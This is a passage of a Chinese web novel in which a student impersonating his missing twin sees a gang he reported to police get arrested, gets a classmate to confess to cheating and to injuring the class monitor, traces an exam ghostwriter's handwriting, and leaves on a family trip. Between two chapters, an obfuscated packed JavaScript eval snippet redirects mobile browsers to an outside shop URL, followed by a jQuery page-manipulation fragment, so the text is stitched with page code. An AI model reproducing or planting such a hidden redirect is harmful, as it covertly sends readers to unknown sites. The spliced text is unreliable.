汤振把手机还给了于浩宁,笑道:“现在就算是他们明天没去,我也顶多算是一个因为过度害怕而寻求保护的无辜学生了。” 于浩宁接过手机,哭笑不得地看着汤振,半天才憋出一句话:“你不去演戏,真是屈才了。” “走吧。”汤振站起身,拍了拍屁股上的灰尘。 再次看了一眼墙上那幅涂鸦,汤振揽着于浩宁的肩膀,朝来时的石板路走去,“天都黑了,咱们回家吧。” 带着凉意的微风依旧在后山盘旋,两人并肩走下台阶,踏入了盈盈夜色之中。 晚上十点半。 汤振和于浩宁的卧室里,亮着淡黄的台灯,空调的暖气将所有寒意彻底驱散。 两人正目光呆滞地看着满桌的复习资料,虽然明天还有一整天的考试,但今天傍晚的经历,让两人此刻谁都看不进去书。 “砰砰砰。” 就在这时,卧室的房门被轻轻敲响了三下。 汤振和于浩宁的背脊同时轻微地僵了一下,两人瞬间交换了一个眼神,连忙将话题切换到学习上面来。 “可以进来,门没锁。”于浩宁清了清嗓子喊道。 许艺岚轻轻推开门,端着一个玻璃托盘走了进来,托盘里放着两杯果汁,身穿一件居家粗线毛衣,虽然神色间透着掩饰不住的疲惫,但嘴角却挂着一抹温柔的笑意。 “浩磊,浩宁,复习得怎么样了?”许艺岚端着托盘,小心翼翼地走了过来,将果汁分别放在两人的书桌上。 “谢谢妈。”两人异口同声。 许艺岚没有立刻离开,她站在两人的书桌中间,像是揣着一个巨大的惊喜,终于忍不住宣布了出来: “跟你们说个好消息,我今天下午在单位连轴转,终于把那个项目的前期准备全都交接清楚了,硬是腾出了整整一周的时间!” 于浩宁愣了一下,手里端着杯子悬停在了半空。 “我已经看好机票了,”许艺岚笑着说道:“2月10号出发,咱们一家四口去南方的城市,好好地玩一个星期,过个暖和的寒假。” “太好了,妈妈,”于浩宁的眼神瞬间亮了起来,“2月10号说不定我们也提前把寒假作业做完了呢!” 看着于浩宁手舞足蹈的模样,汤振静静地坐在椅子上,心里涌起一股酸楚和温暖。 “妈,您这段时间辛苦了,”汤振的声音很轻,继续说道:“工作再忙也别忘了好好休息,等出去玩的时候,所有的行李和杂事都交给我和浩宁,我俩会一起照顾好爸爸,您就安安心心地享受一个星期的假期吧。” 许艺岚欣慰地伸手,轻轻抚了抚汤振的肩膀,忽然问道:“你脸怎么了,又受伤了?” 汤振不好意思地低下头,道:“对不起,妈,这次是我放学走近路,遇到混混,逃出来的时候磕磕绊绊弄伤了自己。” 许艺岚神色紧张,“其他地方呢,都还好吗,严不严重?” “没事儿,妈,我失踪一年,受的伤比这重多了。而且我们已经报警了,明天警察可能会去处理的,您放心。”汤振安慰道。 “好,”许艺岚这才放松了声音,温和说道:“行了,那妈妈不打扰你们了。早点休息吧,等明天考完试,就可以好好放松一下了。” 寒暄一阵,许艺岚带着笑意走出了房间,顺手带上了卧室的门。 门锁发出了轻微的“咔嗒”声。 汤振侧过头,看向窗外深不见底的黑夜,脑海中想着明天的期末考试和二中后街14巷里的事情,一种未知的疲惫深深占据了他的内心。 34. 另一人的字迹 1月26日下午五点钟。 伴随着一记悠长的铃声划破校园的天空,为期两天的期末考试终于结束。 紧绷了整整两天的校园,此刻像是一个被突然拔掉塞子的高压锅,震耳欲聋的欢呼声和桌椅碰撞声瞬间在各个教室里沸腾起来。 冬日傍晚的寒风虽然凛冽,却吹不散学生们涌出校门时的那股狂热与轻松的劲儿。 汤振把两支签字笔丢进笔袋,拿起书包,单挎着其中一条肩带,和于浩宁一起挤在人潮中,朝校门口走去。 “浩磊,浩宁。” 两人刚出校门外,身后便传来了一阵急促的脚步声。 丁航推开人群,气喘吁吁地凑到了两人跟前。 那张略带粗犷的脸上,此刻并没有考试结束后的轻松,反而透着一股随时准备拼命的紧绷感。 “浩磊,”丁航警惕地扫视着周围,问道:“已经五点了。咱们现在是不是该按照昨天傍晚的约定……” 看着丁航如临大敌的模样,汤振忍不住想笑,停下脚步,眼神平静地看着丁航,嘴角从容地上扬。 “去,当然要去,但是……” 汤振话锋一转,声音不大,却带着能安定人心的奇特力量,“今天咱们不用进到14巷里边去,但要去后街那边晃悠一圈。走吧,带你去看好戏。” 于浩宁朝汤振伸手道:“诶,我们……还是注意安全吧。” 汤振轻拍了拍于浩宁的肩膀,“没事儿,不用担心,远远地看看就行!” 丁航愣了一下,满头雾水地眨了眨眼睛,但现下也没多问,乖乖地跟在汤振和于浩宁身后,朝学校后街的方向走去。 刚拐过路口,距离14巷还有大半条街的距离,丁航的脚步就猛地停在了原地。 “哇……那边发生了什么?”丁航倒吸了一口凉气,眼睛瞬间睁得老大。 只见暮色四合下,前方红蓝交织的刺眼警灯正在疯狂闪烁。 二中后街14巷的巷口,三辆鸣着警笛的警车将那条狭窄的小巷堵得水泄不通,周围拉起了黑黄相间的警戒线,有不少放学的学生,以及附近的居民,正远远站在外围看热闹。 汤振立刻往后退了半步,借着街角一家小卖部外伸出来的雨棚阴影,将自己的大半个身子藏匿在暗处。 丁航和于浩宁也挤在汤振身边,三人的目光穿过人群,紧紧盯着不远处的14巷巷口。 “老实点,蹲下,双手抱头!” 三分钟后,伴随着警察严厉的呵斥声,十个灰头土脸的混混戴着手铐,像一长串被拔了牙的毒蛇,耸拉着脑袋,从14巷里被押了出来。 在警察面前,这十个混混是一个字也不敢说,尽管其中几个人脸上还有忿忿之色,但还是得乖乖把手放在身前,走向警车,手上还锁着银晃晃的手铐。 汤振一眼认出,走在最前面的那个,就是昨天嚣张跋扈的樊奕诚。 樊奕诚此刻哪还有半点威风?他右脸贴着两张创可贴,想必是昨天被汤振用啤酒瓶打伤的。 两名防暴警察一左一右按着樊奕诚的肩膀,樊奕诚还梗着脖子,一脸不服气的模样,但也毫无用处,还是被狼狈不堪地押上了第一辆警车的后座。 紧接着,一名警察从巷子里拿出来一个编织袋,直接倾倒在警车后备箱前。 “哗啦——哐当——” 五把闪着寒光的弹簧刀、三根生锈的空心带刺钢管,还有两根狼牙棒,全部被倒在了水泥地上,砸出一阵令人头皮发麻的金属碰撞声。 这么多管制刀具,可是严重违反当地治安条例的。 丁航呆呆地看着不远处满地的管制刀具,脑门上渗出了一层冷汗。 直到第一辆警车的车门重重关上,丁航才一脸如梦初醒的表情,他转过头,看向目光幽深的汤振。 “我明白了,”丁航压抑不住颤抖的嗓音,看向汤振道:“难怪你昨天表面上那么狂妄地挑衅,原来报了警,好把他们一网打尽。这个办法可真好啊,我怎么就没想到呢。” 听到丁航毫不吝啬的表扬,汤振嘴角难得露出一抹真正放松的笑意,在心里暗暗松了一口气。 看着警车呼啸着驶离街角,汤振清冷的眼眸里闪过一丝如释重负,心里思索着:樊奕诚和另外这九个混混,应该会被关上一段时间吧?樊奕诚在里面蹲着,自然也就老实了。这样一来,不仅拔掉了丁航身上的钉子,也间接可以让自己的身份不暴露得那么快。 “浩磊,浩宁,”丁航兴奋地搓了搓手。 “又怎么啦?”汤振看向丁航。 丁航一把揽住两人的肩膀,豪气地打断了汤振的思绪,畅快道:“这两天真是痛快,不仅这些混混被抓,更重要的是,咱们高一第一学期的期末考试终于结束了!” 丁航拍着胸脯,大声道:“走,今天晚上我请客。咱们找个好点的馆子,吃顿大餐,顺便好好庆祝一下这学期圆满结束。” “有人请客当然好啊,”于浩宁笑着附和了一声,转头看向汤振,“哥,你想吃啥?” 就在两人满怀期待地看向汤振时,汤振却轻轻拨开了丁航搭在肩膀上的手。 “心意我领了,但晚饭我就不和你们一起吃了。” 说完,汤振把书包的肩带往上提了提,从雨棚的阴影里走了出来,语气重新恢复了深不可测的冷静。 “啊,为什么,”丁航愣住片刻,满脸失落,喃喃道:“今天开始都算是正式放假了,你还有什么事吗?” 汤振点点头,“我现在……还要去找一个人。” 目光越过熙熙攘攘的人群,看向渐渐热闹的街头,汤振的眼神里没了刚才收网时的轻松,反而透着一种极其凝重的冷厉。 “是一个我昨天就想去见的人,”汤振补充道,没有再多做解释,只是不容置疑地朝两人挥了挥手,“你们俩先去吃吧,不用等我,吃完各自回家就行,路上小心。” 听到这话,于浩宁现下也不再勉强,拉了拉还有些发懵的丁航。 丁航反应了过来,连忙点头道:“行吧,那浩磊,你注意安全,见完了那人,你也早点回去。” 于浩宁也转头冲丁航笑了笑,轻松道:“走吧走吧,咱们先去吃大餐,别耽误他,我哥就爱搞些神神秘秘的事儿。” 丁航还想说什么,但也只能把到嘴边的话咽了回去,也朝汤振挥了挥手,随后便和于浩宁一起离开了。 丁航和于浩宁朝步行街的方向走了过去,融入一片灯红酒绿之中。 汤振独自走向远处的街头,背影消失在一片紫红色的晚霞里。 傍晚七点,旧城区的一栋老式居民楼下,汤振的身影出现在了这里。 汤振抬头仰视上去,这栋楼一共八层,外墙的瓷砖早已脱落不少,补了又补的痕迹,让楼房看起来更加老旧。 走进楼道,楼道里的感应灯坏了,汤振借着手机微弱的屏幕光,踩着渗满水渍的楼梯,上到了四楼。 汤振停在右侧那扇防盗门前,抬起手,有节奏地敲了三下。 没过多久,门内传来了一阵拖沓的脚步声。 “咔嗒”一声,防盗门被推开了一条缝。 沈言峰站在门后,穿着一件起球的旧毛衣,神色颓废,眼底布满了红血丝。 看到门外的汤振,沈言峰的脸色并没有惊慌失措,只是木讷地把门彻底推开,转身走回了昏暗逼仄的客厅。 “进来吧,于浩磊,我就知道你考完试会来找我。”沈言峰的声音沙哑得像是在砂纸上磨过,带着一种尘埃落定的沉寂。 汤振摸着门框进入,顺手关上了门,缓步走进客厅,坐在了沙发上。 缓了缓呼吸节奏,汤振看向沈言峰的背影,开口道:“既然你知道我会来,那你也应该清楚,我来找你做什么。” 听见汤振这样说,沈言峰并不回答,只是淡淡地看向沙发旁的书桌,书桌上堆满了教材、教辅资料和一堆试卷,还有一个橙黄色封面的笔记本。 沈言峰走到旧书桌前,拿起了那个笔记本,朝汤振一扔。 “啪——” 沈言峰将那个笔记本一把甩在茶几上,滑出半米,刚好停在汤振的手边。 “你拿去对比吧,”沈言峰说道:“你今天不就是想来看我的字迹吗?” 在浥鸣二中待了一整个学期,汤振还第一次感觉到这么强的压迫感。 汤振有些心虚地将目光缓缓从沈言峰身上移开,看向茶几上的笔记本,拿了起来,翻开查看。 随后,汤振又从自己书包里掏出丁航初三时那张泛黄的物理答题卡,又拿出一张丁航这学期的地理答题卡,将两张答题卡与沈言峰笔记本里的字迹放在台灯下,认真对比起来。 房间里寂静得如同时间静止,只有纸张翻动的轻微沙沙声。 三分钟后,汤振抬起头,眼神变得深邃,又迷茫。 汤振缓了一口气,开口道:“这学期丁航的作弊答题卡,上面的字迹确实是你的。” 说着话,汤振又用指节敲了敲丁航初三那张旧试卷,将其推到沈言峰面前,“但是,丁航初三这张答题卡上,有很多连笔字迹,这些不是你的字迹。也就是说,除了你之外,提前填写答题卡的作弊者,还有其他人。” 说完,汤振抬头看向沈言峰的双眼,“既然你也是作弊团伙的一员,你告诉我,去年填作弊答题卡的人,是谁?” 沈言峰看也没看那两张旧卷子,只颓丧地坐在沙发上,如同自嘲一般,摇了摇头。 “别问我,我也不知道,”沈言峰目光呆滞地望向前方的墙壁,淡淡道:“作弊团伙里的人,都是通过论坛的游客身份互相联系的,根本不知道对方是谁。虽然我不知道去年是谁帮丁航填的答题卡,但我可以告诉你,像我这种帮忙填答题卡的人,咱们学校里不会有太多。” “为什么?” “因为利益呵,”沈言峰冷笑了一声,答道:“每次卖答案,赚多少钱基本都是固定的,幕后主使也舍不得分太多钱给我们这些帮手。” 听到这里,汤振的眼神冷了下来,他身子微微前倾,双目直视沈言峰,“说到钱,你之前亲口跟我说过,你偷孟晓芸的手机,是受人威胁,迫不得已。那现在呢,你冒着被开除的风险偷卷子,填答题卡,换答题卡,也是因为受到了幕后主使的威胁吗?” 沈言峰呼吸一滞,咬紧了下唇,避开汤振的视线,不甘道:“我……我就是缺钱,缺钱这个理由还不足以让人信服吗?你别问那么多了,总之,这次作弊被发现,我认栽,处分我也背得心服口服。我知道你看不起我,我也不在乎别人的眼光。” 汤振倒是没有生气,只伸出右手,紧紧抓住了沈言峰的左臂,力道之大,让沈言峰不得不转过头来直视汤振。 “沈言峰,你真是个懦夫,”汤振的声音像冰冷的铁锤:“你以为用一句‘缺钱’就能掩盖你被人当枪使的事实吗?只有你自己真正强起来,才不会怕那些躲在暗处威胁你的人。你越是软弱,越是退让,别人就越会把你当成一条可以随便使唤的狗。” 说完,汤振松开手,眼神仍落在沈言峰身上,一字一句道:“上次被威胁,你为了自保去偷孟晓芸的手机;这次被威胁,你去参与作弊。那下次呢,下下次呢?如果有一天别人威胁你去做更过分的事情,你是不是也要用一句‘我缺钱’来掩饰自己的无能?” 沈言峰的身体轻微颤抖着,眼眶通红,却半个字也反驳不出来。 无奈地看着沈言峰这副烂泥扶不上墙的模样,汤振觉得再多说也是废话,他厌恶地从沙发上站了起来,准备离开这个压抑的房间。 就在汤振起身的瞬间,一个困扰了他半个月的疑团,突然像闪电般划过他的脑海! 汤振停下脚步,转过身,刹那间,眼神变得比刚才更加凌厉可怕。 “我再问你一件事,”汤振的声音变得冰冷如铁:“半个月前的那个晚自习,你故意把椅子往后撞,弄伤了班长右手手腕,也是你故意的,是不是?” 闻言,沈言峰难以置信地大喘了一口气,抬眉看向汤振。 不给对方思考的时间,汤振继续质问道:“是不是因为第三次月考的时候,你看江悦考了全班第一,你只考了全班第二,所以你想在期末考试之前弄伤江悦的手,让她上不了考场,这样期末考试你就可以考全班第一,下学期也能顺利拿到奖学金?” 沈言峰没有再狡辩,颓然地垂下头,双手捂住脸,发出一阵分不清是哭还是笑的喘息声,眼中似有泪水涌出。 “是,”沈言峰的声音从牙缝间挤出来:“半个月前的晚自习,是我鬼迷心窍,我看到班长睡着了,右手也伸出了桌子边缘……我,我在那个瞬间,只能想到那样的馊主意。” “啪——” 汤振一拳重重砸在旁边的墙壁上,震得墙上镜子的金属边框也嗡嗡作响,他恶狠狠地看向沈言峰,眼底的怒火几乎要将对方烧穿。 “你怎么能这么恶毒?你去找幕后主使讨个说法啊,你怎么能为了自己那点可怜的利益,伤害无辜的班长,万一她的手真的伤到了怎么办?” “只有把她的手弄伤,她才没办法参加期末考试,”沈言峰双眼赤红地咆哮着,说道:“我当时也担心,万一真的让她的手受了很严重的伤怎么办……至于你说的让我去跟幕后主使斗,那是你太看得起我了,你不知道么?我是个弱者。弱者发怒,只会抽刀向更弱者。” 汤振皱紧眉头,看着眼前这个近乎陷入癫狂的人,感到一阵极度的不可理喻。 “那我问你,”汤振又开口道:“你既然能提前偷到试卷,那你直接把所有答案背下来,考第一不是轻轻松松的事儿吗,你何必冒那么大的风险去弄伤江悦的手?” 空气沉静了两秒。 沈言峰咽了一口唾沫,擦了擦脸上风干的泪痕,低声道:“因为有作文,还有那么多主观论述题……就算我提前拿到了卷子,知道了作文和主观题题目,以我的思维深度和文笔,也很难考得过班长。只要班长在考场上,我拿全班第一的概率就很小。” 汤振站在原地,只感觉大脑一片空白,他静静看着沈言峰,像是在看着一个极其荒诞的人。 “你真是可悲,”汤振冷冷地丢下一句话:“我会把你今天承认的罪行,原原本本地告诉班长,让她自己决定是否原谅你。” 沈言峰的身体不易察觉地一颤,低下了头。 汤振话锋一转:“不过,你也不用担心她以后会针对你,她是班长,更是个有目标,有格局的人,她跟我说过,她不想对任何人抱有偏见。” 汤振拧开了防盗门锁,在踏出房门的那一刻,他轻轻回过头,用一种不可思议的眼神,再次看了沈言峰一眼。 关上门之前,汤振再向沈言峰开口道:“你现在最应该庆幸的,是班长的手腕只是轻微皮外伤,没有大碍。否则……我绝不会轻易饶过你。” “砰——” 防盗门被重重地关上,汤振头也不回地走进了昏暗的楼道。 走出居民楼,天空已经漆黑一片,汤振的肚子发出一阵饥肠辘辘的响动。 细雨悠然,寒风凛冽。 期末考试结束后,连续五天内,学生们终于可以好好放松一番,这五天里没有作业,也没公布期末考试成绩,直到…… 2月1日,是公布期末考试成绩的日子,也是所有学生到校拿放假通知书的日子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575487|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上午十点钟。 浥鸣二中的教学楼里,洋溢着一股毫无掩饰的激动和喜悦。 走廊上,江悦正站在教室后门的窗台边,低头将几本寒假作业仔细地装进帆布包里。 汤振一眼便注意到了江悦右手手腕上贴着的一块小小的膏药,也许是五天前的期末考试又让她的手腕有些不适了,但好在整个人的气色倒是已经恢复如常。 汤振拿着放假通知书,穿过走廊拥挤的人群,走到了江悦面前。 看着江悦的右手手腕,汤振深吸了一口气,没有选择隐瞒,而是将五天前那晚在沈言峰家里听来的真相原原本本地告诉了江悦。 汤振讲得有些愤怒,从沈言峰如何因为嫉妒江悦主观题的才华而心生恶念,到他如何鬼迷心窍地将椅子狠狠撞向她的手腕,每一步,汤振都描述得让人感觉历历在目。 听完这番话,江悦却出奇地平静,只是皱眉叹了口气,将最后一本寒假作业塞进包里,拉上拉链。 江悦清澈的眼睛里没有汤振预想中的愤怒或后怕,反而透着一种通透与悲悯。 “原来是这样,”江悦说道,目光看向窗外灰蒙蒙的冬日天空,“没想到,把沈言峰逼到这一步的竟是那种扭曲的自卑心态,我就说他今天怎么连放假通知书也不来拿。” “所以你不恨他么?”汤振问道。 江悦摇了摇头,“恨呀,但是事情已经发生了,再恨也是折磨我自己,惩罚不了加害者。于浩磊,这世上不是所有的事情都是非黑即白的,我会想办法找一个合适的沟通方式去和他谈谈。如果他真的是因为受人威胁,或者家里有什么困难,不得不想办法去弄到钱,我也会尽我所能去帮助他。比起把他当成一个彻头彻尾的坏人,我更愿意相信,沈言峰骨子里,还是一个有救的好人。” 汤振静静地看着江悦,或许她内心足够强大吧,才足以俯视那些躲在阴沟里算计她的弱者。 “但是,”江悦话锋一转,眼神中闪过一丝不容置疑的锐利,继续说道:“我的宽容只针对我自己,但是如果他以后敢欺负你们,你们必须告诉我,我一定会按学校的规定处理。” “放心吧,他现在自顾不暇了。”汤振看着眼前的江悦,发自内心地笑了笑。 江悦会心一笑,将帆布包规规矩矩地背在身上,“那我先回家啦,于浩磊,寒假快乐哦!” “寒假快乐。”汤振抬手挥了挥。 看着江悦快步走下楼梯的背影,汤振长长舒了一口气。 于浩宁此时也正好从教室出来,凑近汤振,问道:“哥,那咱们现在干嘛,也回家吗?” “先不回家,”汤振刚才的笑容瞬间收敛得干干净净,他抬起头,目光幽深地看向顶楼左边的房间,说道:“那里面是堆放这次期末考试答题卡的,你陪我去一趟吧。我要拿着丁航初三的物理卷子上的字迹认认真真地对比一下,看看初三的时候帮他作弊的人还在不在我们学校读书,如果在,又会是谁。” 中午十二点,整栋教学楼几乎已经空无一人,大家都高高兴兴地回家过寒假了。 期末考试的答题卡通常不会发给学生,因为工作人员几乎也都放了假,堆放的答题卡,最后往往都是当废品售卖掉了。 此刻,存放全校数千份答题卡的办公室大门敞开着,工作人员正在里面做着清洁。 汤振拉着于浩宁走了进去。 工作人员呵斥道:“你们进来干嘛呢?” “哦,老师,”汤振答道:“我们……就是好奇,想来看看自己期末考试到底做错了哪些题,我是高一3班的于浩磊。” “我是于浩宁,跟他一个班的。”于浩宁指着汤振说道。 那工作人员拿着扫把,有些没耐心地说道:“自己进来找吧,再来晚点就全部拿到堆放考试资料的办公室去了。” 汤振和于浩宁连连道谢,猫着腰进去翻找起来。 房间里,空气中弥漫着一股浓重的纸张和油墨的味道,一摞摞答题卡像小山一样堆放在几排长长的铁架上。 “哥,这得有多少张答题卡呀,”于浩宁看着这浩如烟海的答题卡,倒吸了一口凉气,叹道:“咱们就算找个三天三夜,也找不完啊!” “不用挨着找,”汤振动作利落地从书包里掏出丁航那张初三的物理答题卡,将它平铺在一张桌子上,目光冷静理智,说道:“代笔的人既然能把卷子做到近乎满分,那他大概率也不是差生。” 汤振指了指那些按考场序号堆放的试卷,继续道:“学校期末考试的考场,是按成绩排的。我们先抽查每个年级第一个考场考生的答题卡,看看能不能找到字迹一样的。” 于浩宁恍然大悟,“明白了。” 两人立刻分头行动,拆袋,抽卷,比对,封存…… 寂静的档案室里,除了一位工作人员扫地的声音以外,便只剩下纸张摩擦的声音。 从高一的第一个考场,查到高二,再到高三…… 时间一分一秒过去,每一张答题卡上的字迹都在汤振的视线中快速掠过。 “没有……” “这个也不对……” “连笔习惯不吻合……” 就在于浩宁揉着酸痛的脖子,几乎快要放弃的时候—— 汤振的手指突然僵住,他紧紧抓着一张高三2班的语文期末答题卡,目光像能沁出血来,如冰霜般盯着手中的答题卡。 就是这张了! 汤振僵硬着手臂,将丁航那张泛黄的初三物理答题卡拉了过来,跟手里这张高一3班的语文答题卡放在一起。 完美重合! 除了高三语文答题卡上的字迹稍微顺滑了一点以外,这两张时间跨越一年的卷子上的字迹,书写习惯和运笔发力等细节,简直是一个模子里刻出来的。 “浩宁,快过来看!”汤振的声音干涩得可怕。 于浩宁察觉到了异样,立刻凑了过来,当他看向桌面上如出一辙的字迹时,眼睛瞬间睁大。 “找到了,”于浩宁激动得声音都在发抖,低声问道:“哥,这是谁的语文答题卡?” 汤振的目光缓缓上移,看向了这张语文答题卡左边的密封线。 密封线内,用极其端正的字体,清清楚楚地写着考生的姓名和班级。 班级:高三2班 姓名:伍泓 空气在这一瞬间凝固成了寒冰。 汤振不敢相信地盯着那两个字,一股彻骨的寒意顺着脊背迅速上涌。 于浩宁的目光也顺势看了过去,随后露出了同样震惊的表情。 汤振朝四周看了看,毫不犹豫地将伍泓的语文答题卡抽了出来,对折几下,利落地塞进了自己的书包夹层里。 于浩宁看着汤振把书包拉链拉好,他不由自主地抓住了汤振的胳膊。 “哥,”于浩宁一边思索,一边问道:“就算咱们证实了伍泓也是代笔人,但我们还是不知道他究竟是不是那个幕后主使。如果伍泓也只是代笔人之一,那这背后还有多少人也参与了进来?” 办公室里又寂静了几秒钟。 汤振站在原地,看着铁架上那成千上万张各个年级、各个学科的答题卡,眼中闪过了一丝沉重的无力与困惑。 “没办法,”汤振的声音有些疲惫和沙哑:“我暂时也不知道该怎么办了。” 冬日的冷风在教学楼外呜咽作响,汤振和于浩宁的高一上学期,就在这样一个未知的迷局中画上了句号。 此时此刻,又还能做些什么呢? 只能等下学期开学再想了…… 想了想十天后的旅行,汤振强行换了一副轻松的表情,揽着于浩宁的肩膀,走出了校门。 35. 寒假(上) 2月9日,夜晚。 汤振和于浩宁家里,此刻正亮着温暖而明亮的橘黄色灯光。 客厅中央,暖气开得十足,许艺岚满头大汗地搀扶着于强做着康复训练,于强双手死死抓着银白色的铝合金康复助行器,拖着沉重的双腿,艰难地在地板上往前挪动着步子。 “慢点,别急……先站稳再迈左脚。”许艺岚气喘吁吁地柔声提醒着,顺手扯过脖子上的毛巾,替丈夫擦去额头细密的汗珠。 当然,于强由于脑部受损,现在许艺岚说的话,他到底能否听懂,也是个未知数。 于强时而喘着粗气,时而屏住呼吸,每走一步都显得颇为吃力,但他眼中却始终有坚定的神色,哪怕走得艰难,也没有撒手放弃。 隔着一道半开的卧室门,汤振和于浩宁正蹲在地板上,往两个摊开的行李箱里塞着换洗衣物和洗漱用品。 客厅里,许艺岚断断续续的说话声和助行器摩擦地板的声音,清晰地传入汤振的耳朵里。 “哥,”于浩宁指挥道:“你把这四件厚一点的衣服压在最底下,回来在机场的时候再穿上。” 于浩宁一边把叠好的衣服递给汤振,一边极其自然地转身,从书桌抽屉里抽出了一本青色硬壳的空白速写本,顺手塞进了汤振的随身双肩包里。 接着,于浩宁身体往汤振这边挪了挪,用只有他们两人能听见的音量,悄声耳语道:“上次在废弃天文台我就告诉过你了,我哥喜欢画画涂鸦什么的。” 汤振“嗯”了一声,压实了一下行李箱里的衣服,视线落在了包里那露出一角的速写本上,双眸轻微地闪动了一下。 “这次要去含岭市玩一个星期,”于浩宁手里的动作不停,头也不抬地叮嘱道:“你在我爸妈面前,好歹也拿出本子,假装学着点儿,随便画几笔装装样子就行,别在这些方面露馅儿。” 汤振点点头,“没问题,你还信不过我嘛?”说着,将手边的一件黑色外套盖在双肩包上,遮住了速写本的边缘。 就在这时,客厅里传来了许艺岚轻快的声音。 “浩磊,浩宁,”许艺岚扶起于强在沙发上坐下,朝着卧室的方向喊道:“你俩的行李收拾得怎么样了?别忘了拿厚外套,虽然是去南方,但回来的时候可别冻感冒了。” 汤振站起身,冲客厅的方向喊道:“马上就好,妈,也赶紧让爸歇会儿吧,你们也早点睡,明天一早还要赶飞机呢。” 收拾完东西后,一家四口才身心俱疲地躺上了床。 于浩宁望着天花板,长舒了一口气,“好久没这样全家出去玩过了。”说着,侧过头看向汤振,“也是头一次和你一起出去旅游。” 汤振忍不住笑了笑,“这一个多星期赶完了一整个寒假的作业,手都给我写酸了。” 于浩宁亦忍俊不禁,“好了,至少写完了作业,可以敞开玩……对了,你真的不发个消息关心一下雅丽学姐的比赛么?明天就是市级艺术大赛的决赛了。” 闻言,汤振脸上的笑容逐渐收敛起来,他双手交叉,枕着脑袋,叹了口气,“我承认,我确实处理不好这样的关系……不过你说得也有道理,即使是作为纯粹的友情,我也确实应该关心她一下。” “好啦,哥,别担心了,先睡觉吧。” 两人温和地互道晚安,闭上了双眼。 夜深人静,窗外,一缕带着暖意的海风轻轻吹过。 气温虽然还未回升,但初春的味道已经慢慢藏在了空气里。 2月10日午后,晴空万里。 经过足足两个小时的飞行,飞机平稳降落在含岭市国际机场。 从机舱里走出来的那一刻,南方沿海城市特有的温润海风扑面而来,瞬间吹散了记忆中浥鸣县的寒凉。 坐上出租车,一家人来到了提前短租的单层别墅里,这个别墅带着一个小小的庭院,庭院里的青草长得整整齐齐,显然是房东提前修理好迎接租客的。 下午四点过,阳光将庭院里的棕榈树叶晒得点点反光。 平时在公司里雷厉风行的许艺岚,今天罕见地换上了一件印着茉莉花纹的宽松度假长裙,她之前谢绝了房东请钟点工的提议,只为和家人亲自在庭院里体验用烧烤架制作美食。 因一大早起来坐飞机,中午也没有吃饭,一家人肚子此时早已饿得前胸贴后背。 炭火滋滋作响,烤网上五花肉的油脂滴落在木炭上,激起一阵诱人的白烟。 兴许是很久没烤肉的缘故,许艺岚拿着长柄食品夹的动作显得有些笨手笨脚,好几次差点把肉翻掉在地上。 “浩磊,快过来。”许艺岚用手背擦了一下额头的汗,笑着冲坐在台阶上的汤振招了招手。 汤振起身快步跑过去,“怎么了,妈?” “你来尝尝,这块肉的味道怎么样?自从你失踪回来那天做了饭,妈妈这大半年就很少做饭了,平时白天也是花钱请阿姨给你爸送午饭和晚饭……现在也不知道妈妈手艺回潮了没。”许艺岚笑道。 汤振心里微微一动,将一块五花肉用叉子叉了起来,放在嘴边轻轻吹气。 在一旁看得津津有味的于浩宁像猴子一样窜了过来,伸手就拿起了餐盘里烤好的一块肥牛。 “啪——” 许艺岚眼疾手快,用夹子的木柄轻轻敲了一下于浩宁的手背,佯怒道:“手都没洗就来拿,快去洗手!也不怕被烫着……” 于浩宁委屈地撇了撇嘴,揉着手背退到一边。 汤振忍俊不禁,从旁边的餐盘里拿起一把干净的叉子,递到了于浩宁面前。 于浩宁接过叉子,顺嘴嘟囔道:“哦,谢了。” 这轻飘飘的两个字,让汤振递叉子的手稍稍停顿了一下,他转过头,眼神里闪过一丝轻微的惊讶,他现在对每一个细节的把控已经到了近乎苛刻的地步。 汤振看向于浩宁,凑到他耳边问道:“你不是应该说‘谢谢’吗?之前信誓旦旦地告诉我,你哥从来不说‘谢了’,只说‘谢谢’,我还以为你从小跟他一起长大,这也是你的口头禅呢。” 于浩宁拿着叉子愣了两秒钟,眨了眨眼睛,一脸反射弧太长的表情。 “这又怎么了,”于浩宁将叉子上的肥牛塞进嘴里,理直气壮却又细声细气地回应道:“那还不都是因为你,你天天在旁边一口一个‘谢了’,我这个学期都被你给潜移默化影响了。” 汤振翻了个白眼,准备转身走回烤架。 于浩宁拉住汤振,耸了耸肩,笑道:“再说了,需要冒充身份的人是你,又不是我。” 说完,不等汤振回应,于浩宁便一溜烟地跑去了庭院另一头,搀扶起坐在轮椅上的父亲,带着父亲缓缓用康复助行器在一旁的平地上练习走路。 看着于浩宁小心翼翼的身影,汤振无奈地叹了口气,转身继续去帮许艺岚调制佐料。 长条桌上,摆满了各种瓶瓶罐罐。 汤振拿起一个小碗,熟练地倒了些酱油和醋,随后自然而然地拿起一瓶蚝油,往碗里挤了一大勺。 就在这时,正在翻烤肉串的许艺岚无意间转过头,看到了汤振手里的调料碗。 许艺岚手里的动作暂停了下来,眼神里闪过一丝明显的疑惑,问道:“浩磊,以前在家里吃火锅或者烤肉,你不是不怎么喜欢吃放了蚝油的调料吗?” 汤振拿着蚝油瓶的手指骤然收紧,但表情旋即又放松了下来,笑道:“人的口味是会变的嘛。” 说话间,汤振极其自然地放下蚝油瓶,端起那个小碗闻了闻,用一种带着几分新奇和理所当然的语气说道:“再说了,咱们现在不是来到含岭市了吗?听地理老师说,吃这里的海鱼和海鲜烧烤,调料里要加上蚝油,才能把那种独特的鲜味彻底激发出来。难得出来度个假,我也想吃点儿味道不一样的东西试试。” 汤振还嫌不够,又补充了一句:“我失踪那一年,什么调料都吃过。” 想到这个理由合情合理,无懈可击,汤振的脸色这才彻底缓和下来。 许艺岚听完,眼底的疑惑逐渐消散了,反而笑着点了点头,“也是,你们现在上了高中压力太大,难得出来多尝试些新鲜口味。那行吧,你把这盘烤好的肉拿去,端给你爸和你弟。” 